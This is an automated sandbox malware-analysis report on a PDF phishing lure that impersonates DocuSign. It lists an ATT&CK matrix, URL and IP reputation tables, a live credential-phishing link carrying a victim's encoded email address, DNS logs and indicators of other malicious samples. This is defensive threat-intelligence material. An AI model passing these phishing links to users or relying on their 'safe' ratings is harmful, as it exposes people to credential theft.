Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.html#?bWFyaWUtY2xhdWRlLmJlZ2luQG9taHNoZXJicm9va2UucWMuY2E=	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://cdn.jsdelivr.net/npm/bootstrap	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.6.0.min.js	0%	URL Reputation	safe
https://menlologistics.com.ru/#classic-cars	0%	Avira URL Cloud	safe
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#terms	0%	Avira URL Cloud	safe
https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/favicon.ico	0%	Avira URL Cloud	safe
https://www.carlogos.org/uploads/2023/most-bought-super-cars-in-illinois-huracan.jpg	0%	Avira URL Cloud	safe
https://cdn.jsdelivr.net/npm/	0%	Avira URL Cloud	safe
https://code.jquery.com/jquery-3.5.1.slim.min.js	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#privacy	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#faq	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#services	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#about	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#modern-supercars	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#electric-vehicles	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#learn-more	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#	0%	Avira URL Cloud	safe
https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/,	0%	Avira URL Cloud	safe
https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.html	0%	Avira URL Cloud	safe
https://menlologistics.com.ru//	0%	Avira URL Cloud	safe
https://www.cloudflare.com/favicon.ico	0%	Avira URL Cloud	safe
https://menlologistics.com.ru/#contact	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	0%	Avira URL Cloud	safe
https://developers.cloudflare.com/r2/data-access/public-buckets/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
code.jquery.com	151.101.66.137	true	false	unknown
menlologistics.com.ru	188.114.97.3	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	unknown
pub-ad8bdbb321694934a9a218eeb6868559.r2.dev	104.18.2.35	true	false	unknown
www.google.com	142.250.185.132	true	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false	URL Reputation: safe	unknown
https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.html#?bWFyaWUtY2xhdWRlLmJlZ2luQG9taHNoZXJicm9va2UucWMuY2E=	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/favicon.ico	false	Avira URL Cloud: safe	unknown
https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/,	false	Avira URL Cloud: safe	unknown
https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.html	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru//	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.2.35	pub-ad8bdbb321694934a9a218eeb6868559.r2.dev	United States	13335	CLOUDFLARENETUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
23.47.168.24	unknown	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	menlologistics.com.ru	European Union	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Name	Source	Malicious	Antivirus Detection	Reputation
https://cdn.jsdelivr.net/npm/	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/bootstrap	chromecache_191.10.dr	false	URL Reputation: safe	unknown
https://code.jquery.com/jquery-3.5.1.slim.min.js	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#privacy	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#terms	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#services	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://www.carlogos.org/uploads/2023/most-bought-super-cars-in-illinois-huracan.jpg	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#faq	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#classic-cars	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#about	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#modern-supercars	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#electric-vehicles	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#learn-more	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://menlologistics.com.ru/#contact	chromecache_191.10.dr	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/favicon.ico	chromecache_195.10.dr	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_195.10.dr	false	Avira URL Cloud: safe	unknown

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467831
Start date and time:	2024-07-04 21:04:39 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xJwSq336bs.pdf renamed because original name is a hash value
Original Sample Name:	53cf6e9968a5234c923f2826d5e9fa97c880c3fd.pdf
Detection:	MAL
Classification:	mal52.winPDF@41/56@12/8
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Input	Output
URL: https://pub-ad8bdbb321694934a9a218eeb6868559.r2.dev/link.html#?bWFyaWUtY2xhdWRlLmJlZ2luQG9taHNoZXJicm9va2UucWMuY2E= Model: Perplexity: mixtral-8x7b-instruct	{"loginform": false,"urgency": false,"captcha": false,"reasons": ["The webpage does not contain a login form, as there is no explicit request for sensitive information such as passwords, email addresses, usernames, phone numbers, or credit card numbers.","The text does not create a sense of urgency or interest, as there are no phrases that encourage immediate action such as 'Click here to view document' or 'Open the link to see your invoice.'","The webpage does not contain a CAPTCHA or any other anti-robot detection mechanism."]}
Title: boldness OCR: Microsoft Sign in No account? Create one! Can't access pur account? Next Sign-in options Terms of use Privacy & ckies
URL: PDF Model: gpt-4o	```json{ "riskscore": 8, "reasons": "The screenshot contains a visually prominent 'View Documents' button which is likely to attract user clicks. The text 'Please review and sign your document' creates a sense of urgency. The email appears to impersonate DocuSign, a well-known brand, which adds credibility to the phishing attempt. The combination of urgency and a prominent call-to-action button significantly increases the risk of phishing."}

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.47.168.24	Invoice - 13604562148823146027218688082530555300774892366170 - Pilatus-aircraft.pdf	Get hash	malicious	HTMLPhisher	Browse
	Encrypted Doc-[Ogi-5917842].pdf	Get hash	malicious	HTMLPhisher	Browse
	Novolog (Pharm-Up 1966) LTD_SKM_C590368369060_417161.pdf	Get hash	malicious	HTMLPhisher	Browse
	Invoice - 21153253589581947197326090404964329500290845699807 - Toyotaconnected.pdf	Get hash	malicious	Unknown	Browse
	Hilcorp-updated agreement.pdf	Get hash	malicious	Unknown	Browse
	Invoice - 07776611412802924323813205194919526056527884439486 - Kforce.pdf	Get hash	malicious	Unknown	Browse
	invoicepast.pdf.lnk.mal.lnk	Get hash	malicious	ScreenConnect Tool	Browse
	PG96120000311.pdf.lnk.mal.lnk	Get hash	malicious	Unknown	Browse
	Absa.pdf	Get hash	malicious	HTMLPhisher	Browse
	Absa.pdf	Get hash	malicious	Unknown	Browse
104.18.2.35	http://pub-431046b43b84431ea1b4a212cd34e302.r2.dev/gsecondcheck.html?usr=ouwxfmmtalwl	Get hash	malicious	HTMLPhisher	Browse	pub-431046b43b84431ea1b4a212cd34e302.r2.dev/gsecondcheck.html?usr=ouwxfmmtalwl
	http://pub-5d5794a1344e4ef09c0d498cb30f8875.r2.dev/index.html	Get hash	malicious	Unknown	Browse	pub-5d5794a1344e4ef09c0d498cb30f8875.r2.dev/index.html
	http://pub-5e86a1f01e5a4476812e4d108add0587.r2.dev/index.html	Get hash	malicious	Unknown	Browse	pub-5e86a1f01e5a4476812e4d108add0587.r2.dev/index.html
	http://pub-49f7bdad3ae7458f8076aa4480203a8b.r2.dev/index.html	Get hash	malicious	Unknown	Browse	pub-49f7bdad3ae7458f8076aa4480203a8b.r2.dev/index.html
	http://pub-ab9522f1c3a9451fb5bf68fa1c6bcfca.r2.dev/index.html	Get hash	malicious	Unknown	Browse	pub-ab9522f1c3a9451fb5bf68fa1c6bcfca.r2.dev/index.html
	http://pub-e23528cbdea642ddb1c88fd0d29e30b5.r2.dev/index.html	Get hash	malicious	Unknown	Browse	pub-e23528cbdea642ddb1c88fd0d29e30b5.r2.dev/index.html
	http://pub-a4db5d6837084a76bc5f6d9216e7e57d.r2.dev/a38.html	Get hash	malicious	Unknown	Browse	pub-a4db5d6837084a76bc5f6d9216e7e57d.r2.dev/a38.html
	http://pub-5d5794a1344e4ef09c0d498cb30f8875.r2.dev/index.html	Get hash	malicious	Unknown	Browse	pub-5d5794a1344e4ef09c0d498cb30f8875.r2.dev/index.html
	http://pub-5e86a1f01e5a4476812e4d108add0587.r2.dev/index.html	Get hash	malicious	Unknown	Browse	pub-5e86a1f01e5a4476812e4d108add0587.r2.dev/index.html
	http://pub-49f7bdad3ae7458f8076aa4480203a8b.r2.dev/index.html	Get hash	malicious	Unknown	Browse	pub-49f7bdad3ae7458f8076aa4480203a8b.r2.dev/index.html
239.255.255.250	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	https://chorbie.com/services/	Get hash	malicious	Unknown	Browse
	http://79.141.36.131	Get hash	malicious	Unknown	Browse
	https://share.mindmanager.com/#publish/mnPTcUqLfLnU6HRHMb6xC3qXYGZYU6tmBtOy3sS6	Get hash	malicious	HTMLPhisher	Browse
	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse
	Invoice - 06736833774062515586349558087774116555577037575401 - Daiichi-sankyo.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://gateway.lighthouse.storage/ipfs/bafkreidrnkion27ep4wvaru45atnhtlbackpdwtf5j73djqjbyjdzvzmdm#mez.jiwaji@nic.bc.ca	Get hash	malicious	Unknown	Browse
	http://nassascha.synology.me/Photo.scr	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
188.114.97.3	ScanPDF_102.exe	Get hash	malicious	FormBook	Browse	www.jjjw.xyz/ypml/
	tYEY1UeurGz0Mjb.exe	Get hash	malicious	FormBook	Browse	www.txglobedev.com/dy13/?IR=HpLmp5lsG/78ww7PQ+32zrfZcWzFIxQC5ZchK1XnBOU/XUWwZI280oPADrvVA1p9LOCI&nL=S4247TXPfxsLR
	new order.exe	Get hash	malicious	FormBook	Browse	www.coinwab.com/efdt/
	http://sp.26skins.com/steamstore/category/action_run_jump/?snr=1_1530_4__12	Get hash	malicious	Unknown	Browse	sp.26skins.com/favicon.ico
	BL Draft.exe	Get hash	malicious	FormBook	Browse	www.gazeta-ufaley.ru/wjr5/
	Your file name without extension goes here.exe	Get hash	malicious	FormBook	Browse	www.pu6wac.buzz/g2ww/
	Purchase Order No.P7696#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/OWlnEE9J/download
	Purchase Order No.P7696#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/OWlnEE9J/download
	MKCC-MEC-RFQ-115-2024.exe	Get hash	malicious	FormBook	Browse	www.checkout4xgrow.shop/ts59/?S0GhCH=DR-Lh8FH5BP&Upql=F3s9qclS9ajlyltz5vx8YuFcODa05tGO2XwI753moUwU8ctXmF/lD/LedP+MQBQFZjkX
	62b1bf60394248d2c743ec6df0935d58e5009c9e04aab.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	podval.top/LineToPythonJsLowupdateLongpollWindowsFlower.php

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	file.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	https://chorbie.com/services/	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	http://79.141.36.131	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	Invoice - 06736833774062515586349558087774116555577037575401 - Daiichi-sankyo.pdf	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	file.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183
	http://circulaires.info	Get hash	malicious	Unknown	Browse	184.28.90.27 40.68.123.157 20.114.59.183

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.224510822903688
Encrypted:	false
SSDEEP:	6:BOEccM+q2Pwkn2nKuAl9OmbnIFUt84OKcJZmw+4OKccMVkwOwkn2nKuAl9OmbjLJ:EERM+vYfHAahFUt811/+1QMV5JfHAaSJ
MD5:	AB1E5996370E1A8E7F1ED82F80118AE2
SHA1:	4EE2D7B21D95F322619AF3AEC69E235897ABFDED
SHA-256:	9CE0C72AE2F760EC6E88515B82B62509A15E9C93E40E43AE160378CB7359F4E9
SHA-512:	4CA7F146AC3F51E9E1BF551290452EBF1591B38EDACC494EB53A938617CDBE39493B4DABCEF64A33B0EDEB0DD4066DDC57D52BC1DA5F5BC3C9C882EDDDD705C5
Malicious:	false
Reputation:	low
Preview:	2024/07/04-15:05:31.197 19fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/07/04-15:05:31.199 19fc Recovering log #3.2024/07/04-15:05:31.199 19fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (460), with CRLF line terminators
Category:	dropped
Size (bytes):	7161
Entropy (8bit):	4.715343276503233
Encrypted:	false
SSDEEP:	96:+JiS2kTQ0NnlzxDTsXkC3KzHpkCn/aOPDR3HPQ4glt7DpDGcaajLX:yiSNQuzVsXkC6zHpTx/QBn7FDGcaajLX
MD5:	240002E80E23F3F9650922BADC3D4531
SHA1:	3CB73398EEA7BC5AF2DB6ABB50105C62892F7548
SHA-256:	3340D7E30B68D45948031BC7022A630DB1DB2D400F95B4E5A1C9D1175FB3DED5
SHA-512:	8D9D0992A1E6AE057C68DF656F1484502D30B5D74E065DD19FEBB2403E704EB45B546B354BFB5041C1C777A253F3321B4B40906F1191825B70B662301C59247D
Malicious:	false
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Tuner Car Community - menlologistics.com.ru</title>.. <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">.. <style>.. body {.. padding-top: 56px;.. background-color: #f8f9fa;.. }.. .hero {.. background: url('https://www.experienceferrari.com/wp-content/uploads/2024/04/1968-Dodge-Charger-RT.jpg') no-repeat center center;.. background-size: cover;.. color: white;.. padding: 150px 0;.. text-align: center;.. }.. .content-section {.. padding: 60px 0;.. }.. .footer {.. background: #343a40;.. color: white;..

File type:	PDF document, version 1.7, 1 pages
Entropy (8bit):	7.9608447440069146
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	xJwSq336bs.pdf
File size:	79'849 bytes
MD5:	3c860412604778442a97627e84abc63b
SHA1:	53cf6e9968a5234c923f2826d5e9fa97c880c3fd
SHA256:	bb6e4fa5ab06f4c632734a62f0009901a4b6b32b4c71de65aa644c19c5e729ca
SHA512:	39fe1bf8af595babb7a228c13ce9d7991f3a201611a76cbe761770c9b84eb5e9c1a089c2f0fcdcd40008f478def26865153b704e1a68d1ed804059b008b56e62
SSDEEP:	1536:V9Vjwuv6NNOYSOsDTJfyW19dDAhDCqdjeCzV3Ll5BvCAY5n:flSRzsr195adjeGLlX5Yx
TLSH:	1E73F260E85660CCEAC35561397A35DB031EB37739DEA4961CAC8F13C084DC5E2A7DAB
File Content Preview:	%PDF-1.7.%......1 0 obj.<</Producer(-)/Title null/Author null/Subject null/Keywords null/Creator null/CreationDate null/ModDate null/Trapped null>>.endobj..2 0 obj.<</Type/Catalog/Pages 3 0 R/Lang(en-US)/Metadata 4 0 R>>.endobj..3 0 obj.<</Type/Pages/Coun

General
Header:	%PDF-1.7
Total Entropy:	7.960845
Total Bytes:	79849
Stream Entropy:	7.996637
Stream Bytes:	73840
Entropy outside Streams:	5.094049
Bytes outside Streams:	6009
Number of EOF found:	1
Bytes after EOF:

Name	Count
obj	44
endobj	44
stream	11
endstream	11
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xJwSq336bs.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6a79b8f2-ab61-4260-8486-dda0d6ac7843.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240704190535Z-154.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1076

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Windows Analysis Report
xJwSq336bs.pdf

ID	DHASH	MD5
26	0000000000000000	e81e69435f6c2526e73033c37d10de22
27	266371554d33330f	dee0a612c224be4bbb8a841170a19f97
31	b066a4b4b4c16ef2	7d931cf1c531361030aa123a5c308130
34	d1c0d4d4d4d4c0d4	f6784725bd69e7c444d6a5fe69469f0d

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 4, 2024 21:05:51.807039976 CEST	138	138	192.168.2.4	192.168.2.255
Jul 4, 2024 21:05:57.531136036 CEST	53	51011	1.1.1.1	192.168.2.4
Jul 4, 2024 21:05:57.553030014 CEST	53	56886	1.1.1.1	192.168.2.4
Jul 4, 2024 21:05:58.548449993 CEST	53191	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:05:58.548644066 CEST	61596	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:05:58.561264992 CEST	53	53191	1.1.1.1	192.168.2.4
Jul 4, 2024 21:05:58.562977076 CEST	53	61596	1.1.1.1	192.168.2.4
Jul 4, 2024 21:05:58.661727905 CEST	53	64067	1.1.1.1	192.168.2.4
Jul 4, 2024 21:05:59.600199938 CEST	57318	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:05:59.600341082 CEST	61221	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:05:59.607589006 CEST	53	61221	1.1.1.1	192.168.2.4
Jul 4, 2024 21:05:59.607681036 CEST	53	57318	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:00.420170069 CEST	64031	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:06:00.420325994 CEST	52778	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:06:00.520267010 CEST	53	52778	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:00.610150099 CEST	53	64031	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:01.941586971 CEST	57433	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:06:01.941735029 CEST	64118	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:06:01.949749947 CEST	53	64118	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:01.950961113 CEST	53	57433	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:03.171994925 CEST	49708	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:06:03.172158957 CEST	63976	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:06:03.250080109 CEST	64040	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:06:03.250408888 CEST	50806	53	192.168.2.4	1.1.1.1
Jul 4, 2024 21:06:03.263780117 CEST	53	64040	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:03.264045000 CEST	53	50806	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:03.264600039 CEST	53	49708	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:03.266141891 CEST	53	63976	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:09.872529030 CEST	53	64041	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:15.576055050 CEST	53	62582	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:34.620901108 CEST	53	57377	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:56.962629080 CEST	53	52289	1.1.1.1	192.168.2.4
Jul 4, 2024 21:06:57.200464964 CEST	53	57946	1.1.1.1	192.168.2.4
Jul 4, 2024 21:07:26.090370893 CEST	53	60120	1.1.1.1	192.168.2.4
Jul 4, 2024 21:08:11.245994091 CEST	53	59196	1.1.1.1	192.168.2.4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 4, 2024 21:05:57.545981884 CEST	1.1.1.1	192.168.2.4	0x8519	No error (0)	g.msn.com	g-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 21:05:57.548556089 CEST	1.1.1.1	192.168.2.4	0xd27c	No error (0)	g.msn.com	g-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 4, 2024 21:05:58.561264992 CEST	1.1.1.1	192.168.2.4	0xa44d	No error (0)	pub-ad8bdbb321694934a9a218eeb6868559.r2.dev		104.18.2.35	A (IP address)	IN (0x0001)	false
